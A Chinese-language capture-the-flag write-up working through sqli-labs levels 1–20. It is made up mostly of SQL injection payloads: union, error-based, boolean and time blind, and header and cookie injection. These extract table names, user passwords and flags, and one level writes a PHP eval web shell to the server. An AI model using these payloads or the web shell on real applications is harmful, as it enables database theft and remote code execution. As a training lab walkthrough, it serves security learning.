思路:根据提示,让输入一个数字的值,于是get一个id试试:首先判断一下是哪种注入方式,分别用1和1’试一试发现有引号闭合:于是判断为字符型注入,找回显位:3可以4不可以,说明是三个字段,回显位为2,3:得到数据库名为Security:?id=-1' union select 1,2,database();--+报出表名:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+爆字段名:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database()--+可以看看用户密码:?id=-1' union select 1,2,group_concat(username,password) from users;--+
知识点:
less-2:
思路:
判断注入类型:?id=1和id =2-1一样的回显,说明是数字型注入
找回显位:与上一题类似:回显位为2,3.回显字段数为3?id=1 or 1=1 order by 4;--+
爆库名:?id=-1 union select 1,2,group_concat(database());--+
表名:?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();--+
字段名:?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database();--+
思路:可以使用盲注的方法,这里试一下时间盲注:首先判断数据库长度:?id=1' and (if(length(database())=8,sleep(5),1));--+可见时间盲注行得通。(2)试试布尔盲注:?id=1' and (length(database())=9);--+也没有问题。这里可以浅试一下盲注的脚本:
1. 这里是成功得到了数据库名,这里还可以使用报错注入:`?id=1' and extractvalue(1,concat('~',(select database())));--+`得到数据库名:得到数据库的列:`?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())));--+`后面就是类似的替换了。
3. 知识点:报错注入常用函数:
思路:试了试时间盲注发现不行,于是尝试下布尔盲注,仍然不行,那就尝试报错注入:?id=1' and extractvalue(1,concat('~',(select database())));--+没有任何回显仍然是不行的,于是查看大神wp:发现自己题目都没有审清楚,这道题的闭合方式为双引号闭合:试一试报错注入:?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+发现没有问题,查询表名:?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+后面同理。更换相关字段即可。盲注的方法同样可以使用?id=1" and if(length(database())>7,sleep(5),2)--+将上一关的单引号换为双引号即可。
知识点:双引号闭合
less 07 基于文件写入注入
?id=-1')) union select 1,2,"<?php eval($_POST['cmd']);?>" into outfile "./shell.php";--+可以通过into outfile写入文件,类似的还可以使用:第一个函数一般是以固定的格式写入文件,通常使用第二个比较多
less 08
题目:
思路:先判断是什么闭合,但是由于没有报错显示,于是借助时间盲注的方法判断,发现是单引号闭合,?id=1' and if(length(database())>5,sleep(5),3)--+通过回显时间得到数据库名长度:?id=1' and if(length(database())=8,sleep(5),3)--+后面的采用时间盲注脚本:得到数据库名:security后面得到表的数量:?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(5),3)--+反应时间较长:布尔盲注也是可以的?id=1' and (length(database())=8)--+获取表名:(一个一个字符的获取)?id=1' and (left((select group_concat(table_name) from information_schema.tables where table_schema=database()), 1)='e')--+这一步可以利用bp爆破单个字符,会快一些。
知识点:无报错注入可以使用盲注
less 09:
观察题目,这道题题目提示的是时间盲注,一开始先试用一下布尔盲注试一试,这样发现不管输入什么,页面都显示一样的的内容,这种情况可以使用时间盲注,根据页面产生回显的时间来判断:[http://c6caa85c-21cf-43a5-ae12-c88e48544563.node5.buuoj.cn/Less-9/?id=1%27%20and%20(if((length(database())%3E1),sleep(5),3));--+](http://c6caa85c-21cf-43a5-ae12-c88e48544563.node5.buuoj.cn/Less-9/?id=1%27%20and%20(if((length(database())%3E1),sleep(5),3));--+)使用if函数:if(条件1,执行1,执行2)一般执行语句可以使用sleep函数,爆破数据库名:?id=1' and (if((left((select database()),1)='s'),sleep(5),3));--+以此类推获得数据库名表名以及字段名
less 10:
第十关是一样的,但是闭合方式改为了双引号,只需要将上一个的单引号改为双引号就可以了?id=1" and (if((left((select database()),1)='s'),sleep(5),3));--+
less 11:
第十关的页面发生了变化,是一个用户登录页面,注入点先试试用户名那里,输入1,发现登录失败,但输入1’ 的话就发现是有问题的根据报错可以发现就是单引号闭合,接着注入发现–+ 后面的内容并没有注释掉,于是采用井号进行闭合发现此时没有回显应该是正确的:通过orderby得到回显字段数为2,于是使用Union联合注入:得到回显位-1' union select 1,2#后面的就和之前的一样了:获取表名:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database();#
less 12:
这一关考验的是闭合方式:首先试试看单引号没有回显,再试试双引号1" order by 4#可以得到闭合方式为双引号+括号:1") order by 4#后面就和其他的一样:使用联合注入,爆破库名,表名,字段名:-1") union select database(),2#-1") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#-1") union select 1,group_concat(column_name) from information_schema.columns where table_schema=database()# 后面直接查看即可
less 13:
首先判断是字符型注入:输入1‘发现得到闭合方式是 ')于是进行联合注入,在确定回显位数为2之后,后来发现,联合注入没有消息回显,于是这种方法作废,采用其他方法,看到报错能够正常显示,于是试试报错注入:1') and updatexml(1,concat(0x7e,(select database()),0x7e),1)#获得数据库的表名:1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#后面的类似。
less 14:
同13类似,不过闭合方式为双引号:1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
less 15:
根据题目提示是时间盲注或者布尔盲注,于是先用时间盲注试试,看看闭合,使用admin' and sleep(5)#试试发现成功延时,说明是单引号闭合,于是开始报数据库名:长度:admin' and if((length(database())=8),sleep(5),3)#首字母:admin' and if((left((select database()),1)='s'),sleep(5),3)#有延时admin' and if((left((select database()),2)='se'),sleep(5),3)#有延时,以此类推获得数据库名,表名,字段名也可以使用ascii结合substr函数(从1开始而不是从0开始): admin' and if((ascii(substr((select database()),0,1))>100),sleep(5),3)#这样也可:admin' and if((substr((select database()),1,1)='s'),sleep(5),3)#后面就逐层爆破。
less 16:
判断闭合为双引号+)")``admin") and sleep(5)#可以看到有延时:那么只需要将上一关的单引号换为双引号+)即可:admin") and if((substr((select database()),1,1)='s'),sleep(5),3)#成功延时后面就类似之前的
less 17:
这道题目提示是报错注入,但是无论输入什么用户名都显示无回显,于是尝试试试密码:输入单引号的时候发现出现了报错,于是就采用password进行报错注入:爆库名:admin' and updatexml(1,(concat(0x7e,(select database()),0x7e)),1)#爆表表明:admin' and updatexml(1,(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)),1)#后面的类似进行。
看到题目提示是header头注入,但是这种类型我还没有遇到,于是就从网上寻找资料:这道题目看看源码,进行分析可以知道:源码里面获得的uagent变量是获得了全局变量数组中的ua头,并且直接被拼接到了sql语句上,于是这里就出现了sql漏洞抓包进行ua头修改:但是这里无论怎么修改发现没反,想了很久也没发现,后来看到有些大佬的wp才知道,17关自己修改了账号和密码,在到17关进行重置一下就可以了于是我们登录发现:返回了ua头的内容,,于是我们抓包进行修改,发现闭合方式,于是我们修改为:a' or updatexml(1,(concat(0x7e,(select database()),0x7e)),1),1,1)#这里多了括号是为了闭合sql语句中的括号获取所有数据库名:a' or updatexml(1,(concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e)),1),1,1)#获取ctftraining库中的表明:a' or updatexml(1,(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'),0x7e)),1),1,1)#查看flag:a' or updatexml(1,(concat(0x7e,(select group_concat(flag) from ctftraining.flag),0x7e)),1),1,1)#我们发现只能看到一部分,于是采用字符串截取:a' or updatexml(1,(concat(0x7e,substr((select group_concat(flag) from ctftraining.flag),1,30),0x7e)),1),1,1)#后半部分:a' or updatexml(1,(concat(0x7e,substr((select group_concat(flag) from ctftraining.flag),31,30),0x7e)),1),1,1)#
less 19 :
这次发现这里应该是referer可以进行注入:通过bp抓包修改referer试试: ' and updatexml(1,(concat(0x7e,(select database()),0x7e)),1),1)#多了一个括号是对外面的拼接内容进行赋值,说白了也是为了符合sql语句规范后面的测试流程都差不多,只需要更改查询语句即可。
less 20:
输入admin之后发现了提示:cookie,sql里面有种方法是cookie注入,这里进行抓包尝试:对cookie进行注入尝试:输单引号发现暴报错,于是发现闭合方式就是单引号,于是进行注入,获取数据库名uname=' and updatexml(1,(concat(0x7e,(select database()),0x7e)),1)后面的内容基本类似。